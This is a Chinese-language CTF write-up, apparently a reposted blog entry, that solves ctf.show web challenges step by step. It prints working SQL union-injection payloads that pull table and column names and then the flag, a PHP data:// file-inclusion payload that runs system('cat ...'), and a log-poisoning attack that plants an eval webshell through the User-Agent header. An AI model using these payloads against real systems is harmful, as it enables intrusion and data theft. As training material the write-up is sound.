test1_1_1

news/2024/9/20 11:43:29/文章来源:https://www.cnblogs.com/Guanz/p/18308378

web签到题

题目

web签到题

分析

F12 打开 html 文件:

将注释进行 Base64 解码得到 flag。

web2

题目

最简单的SQL注入

分析

看着应该是 SQL 注入题。


先尝试使用 admin 和 123456 登录,发现没有任何回显。看来报错被屏蔽了。


显然 admin 栏如果注入成功则属于字符型注入。尝试使用万能密码作为用户名登录并把后面的密码语句注释掉,填入 admin' or 1=1 #,密码随便填,得到登录成功的回显:


之后通过 “order by+数字” 猜测表的字段数,当猜测的数字小于或等于实际字段数,回显正确,否则报错。向用户名填入 admin' or 1=1 order by 10# 发现无任何回显,说明报错了。依次使用 9、8、7…… 替换上述命令中的 10,当尝试到 3 的时候出现回显,说明该表的字段数为 3:


在获得字段数之后,我们需要测试哪个字段在网站上能够得到回显。这里使用联合查询 union select 语句,向用户名传入 admin' or 1=1 union select 1,2,3#,得到的回显中只有 2,即只有第 2 个字段能够产生回显:


于是我们向第 2 个字段位置输入 database() 以获得当前数据库名,向用户名传入 admin' or 1=1 union select 1,database(),3#,得到数据库名为 web2:


通过 (select group_concat(table_name) from information_schema.tables where table_schema='xxx') 查询数据库 web2 的表名并将所有表名写入一行输出。其中 group_concat() 将所有内容写入一行并输出;information_schema 是 mysql 自带的库,记录了该数据库所有的表名和字段名。向用户名传入 admin' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#,得到 web2 的表名 flag 和 user:


通过 (select group_concat(column_name) from information_schema.columns where table_name='xxx') 查询 web2 数据库 flag 表中的字段名并将所有字段名写入一行输出。向用户名传入 admin' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3#,得到字段名 flag:


最后查询 flag 字段的值。向用户名传入 admin' or 1=1 union select 1,(select flag from flag),3#,得到 flag。

参考

ctf.show web2 最简单的SQL注入-0d@y-CSDN
sql回显注入(满满的干货)-iwhattt-博客园
sql注入之万能密码总结-無名之涟-CSDN
SQL注入 (初级篇) 数字形注入与字符型注入区别-笑傲code-CSDN
SQL 注入之 UNION 查询(回显)-z_hunter-CSDN
浅谈SQL注入中的-1‘ union select 1,2,3#-娄不夜-CSDN
SQL注入:union注入学习笔记整理-冇得理想-CSDN
SQL注入如何判断数据库类型-2021!-CSDN
SQL注入常用命令-浅笑996-博客园
史上最全SQL基础知识总结(理论+举例)-Yvonne.Y-CSDN

web3

题目

更简单的web题

分析

代码出现 include,猜测是文件包含漏洞。


通过 data:// 数据流 + php 命令执行函数查询当前工作目录下的内容,使用 hackbar 需要先进行 url 编码:


得到 flag 文件名和首页文件:


?url=data://text/plain,%3C%3Fphp%0Asystem('cat ctf_go_go_go')%3B%0A%3F%3E 打开 flag 文件,得到 flag 内容。

参考

Web_XCTF_WriteUp | Web_php_include-Guanz-博客园

web4

题目

分析

和上一题显示的页面一样,用同样的方法尝试注入:


出现报错:

看来这题相比上一题增加了过滤。


使用 shell_exec 同理:


换个思路,尝试使用一句话木马连接服务器后台。


根据发回的响应包可以确定这题使用的是 nginx 服务器:


看看访问日志先,?url=/var/log/nginx/access.log


尝试使用日志包含写入一句话木马,往 User-Agent 字段传入一句话木马 <?php @eval($_POST['web4']);?>


传入后的日志增加一条记录:


使用中国蚁剑连接日志文件,在 /var/www/flag.txt 目录找到 flag 内容。

参考

ctfshow_WriteUp | _萌新-Guanz-博客园

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/745453.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

河南萌新联赛2024第(一)场

个人感觉质量很不错的一套题,难度适中很适合我这种小白去做。不过由于在下能力有限,本文只会讲我通过的那些题。在难度上AHIK--FG--CB,接下来我会按这个难度顺序讲解。 A 造数我们模拟一下它从n到0的过程,要让n变小,肯定是在n>2的时候不断向下除以2,我们假设一个数4到9…

图中的环

图中的环2024.7.17 AcWing 4216. 图中的环:https://www.acwing.com/file_system/file/content/whole/index/content/4187139/一、题目二、题解 1. 基环树 如下图所示,基环树中只有一个环,且整个图是联通的。可以推断出它的性质:连通图;节点数=边数。2. 并查集 两个基本操作…

01-数值类型

01. 数值类型Python基本数据类型注意:英文后面跟上括号,我们统称为函数 eg: float()、int()严格意义上来说,布尔值并不归类到数值类型,但写项目的过程中,可能会用 0 和 1 进行判断,0 和 1 相当于布尔值的 False 和 True,所以暂时把布尔值归为数值类型拓展:在python中,…

李沐动手学深度学习V2-chapter_linear-networks

李沐动手学深度学习V2 文章内容说明 本文主要是自己学习过程中的随手笔记,需要自取 课程参考B站:https://space.bilibili.com/1567748478?spm_id_from=333.788.0.0 课件等信息原视频简介中有线性回归从零实现 导入包 %matplotlib inline import random import torch from d2…

【THM】Mr Robot CTF练习

脚本小子是这样的,黑客只要写POC就可以,可是脚本小子要考虑的事情就多了。【THM】Mr Robot CTF练习 基于电视剧《黑客军团》,你能得到这个靶机的根权限吗?你能得到这台黑客军团风格靶机的根权限吗?这是一个适用于初学者/中级用户的虚拟机。机器上有 3 个隐藏的钥匙,你能找…

gitee入门_如何上传文件

前提条件: 1,已经安装完git相关环境 2,在gitee上已经创建完仓库 1,初始化本地仓库 在本地新建一个文件夹,点击鼠标右键,选择git bash在打开后输入代码: git init 2,同步文件 打开gitee,选择自己的仓库,复制输入: git remote add origin 此处粘贴然后再执行上述图片…

EtherCAT总线耦合器:在Codesys里进行IO组态案例

远程IO模块:EtherCAT总线耦合器XD7000实现工业自动化中主控制器与设备间实时数据交换,支持监控和控制功能。配置涉及多个步骤,确保数据准确性和实时性。其高速通信、无缝连接和广泛适应性为机器人和自动化设备行业提供可靠技术支持。EtherCAT总线耦合器:在Codesys和Twincat…

膜片钳的基本概念—电压钳原理详解

什么是电压钳在膜片钳技术出现之前,其实就存在电压钳技术,他的原理是通过向细胞内注射变化的电流,抵消离子通道开放时所产生的离子流,从而将细胞膜电位固定在某一数值,即钳制电压,记录电流。通俗点就是,将细胞上的电压保持为一个我们设定的电压值,同时记录跨膜电流。作…

LangChain补充五:Agent之LangGraph的使用

一:LangGraph入门 https://www.51cto.com/article/781996.html https://blog.csdn.net/weixin_41496173/article/details/139023846 https://blog.csdn.net/wjjc1017/article/details/138518087 https://langchain-ai.github.io/langgraph/ https://langchain-ai.github.io/la…

LangChain补充四:Agent知识点和案例补充

https://www.alang.ai/langchain/101/lc07 一:基本流程和概念 (一)概念 LangChain Agent的核心思想是,使用大语言模型选择一系列要执行的动作。 在Chain中,一系列动作是硬编码在代码中的。 在Agent中,大语言模型被用作推理引擎,以确定要采取的动作及其顺序。 它包括 3 个…

2024-07-17 如何在vscode部署你的代码块,从而在新建页面时能快速搭建模板(windows环境)

步骤一:打开vscode,按住ctrl+shif+p唤出命令窗口 步骤二:在窗口中输入命令,并回车Preferences: Open User Snippets 对,就是这个代码片段,接着输入你想添加代码的某某语言or脚本,比如我要添加vue的代码片段输入vue,回车,会显示vue.json文件出来给你更改,我的是这样 注…

[题解]POJ3675 Telescope——求多边形与圆相交部分的面积

POJ3675 Telescope 题意简述 多测。每次给定一个\(N\)边形(保证相邻输入的顶点在多边形上也是邻接的),再给定一个以\((0,0)\)为圆心,半径为\(r\)的圆。 请计算出多边形和圆相交部分的面积(保留\(2\)位小数)。\(3\le N\le 50\) \(0.1\le r\le 1000\) \(-1000\le x_i,y_i\l…